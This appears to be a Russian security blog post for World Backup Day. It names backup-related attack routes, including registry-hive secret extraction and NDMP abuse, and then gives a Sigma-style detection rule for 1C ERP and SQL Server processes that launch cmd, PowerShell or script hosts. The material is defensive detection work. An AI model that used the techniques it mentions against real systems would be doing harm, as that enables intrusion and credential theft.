Сегодня, 31 марта, айтишники и сочувствующие им граждане отмечают День резервного копирования. В этот день много говорят о необходимости делать бэкапы, чтобы спастись от Дня дурака, который наступит 1 апреля. А мы для разнообразия напомним другое: не все бэкапы одинаково полезны. В частности, — сервисы резервного копирования могут быть использованы для компрометации вашей системы, особенно если это сервисы на основе протокола NDMP; — работа с бэкапами кустов реестра позволяет обойти проверки безопасности и извлекать секреты из реестра Windows без привилегий SYSTEM; — неприятные последствия может повлечь за собой поспешное восстановление из бэкапов после инцидента, если сами бэкапы были скомпрометированы на момент создания.

Решения компании 1С сейчас лидируют среди систем управления ресурсами предприятия (ERP) на российском рынке. Поэтому выросло и число атак через программное обеспечение 1С: как мы уже рассказывали, атакующие используют тривиальные ошибки в настройках, включая аккаунты с пустыми паролями. А сегодня разберём другой кейс: в последнее время на пентестах и в реальных атаках встречается использование запуска командных оболочек от ERP. На скриншоте выше — пример проведения разведки с помощью таких команд. Как обнаружить: В серверной архитектуре 1С обычно работают несколько ключевых процессов: ragent.exe — агент сервера 1С. Он отвечает за управление кластером, запуск рабочих процессов, распределение нагрузки. rphost.exe — Remote Procedure Host. Это основной рабочий процесс платформы. В нём исполняется серверная логика: код конфигурации, запросы к СУБД, бизнес-процессы. rmngr.exe — Cluster Manager. Это компонент управления кластером, отвечающий за балансировку, распределение сеансов и контроль рабочих процессов. Нормальным поведением перечисленных ключевых процессов считается работа с СУБД, обработка клиентских запросов — но не запуск командных оболочек (cmd, powershell и др.), которые используются для атак. Детектирующее правило:

logsource: category: process_creation product: windows detection: parent_process: ParentImage|endswith: - '\sqlservr.exe' - '\rphost.exe' - '\rmngr.exe' - '\ras.exe' interpreter_image: Image|endswith: - '\cmd.exe' - '\powershell.exe' - '\pwsh.exe' - '\wscript.exe' - '\cscript.exe' interpreter_originalfilename: OriginalFileName: - 'Cmd.Exe' - 'PowerShell.EXE' - 'pwsh.dll' - 'WScript.exe' - 'CScript.exe' condition: parent_process and (interpreter_image or interpreter_originalfilename)

В зависимости от размеров инфраструктуры, правило можно разбить. Например, для cmd, powershell и разделить серверные приложения.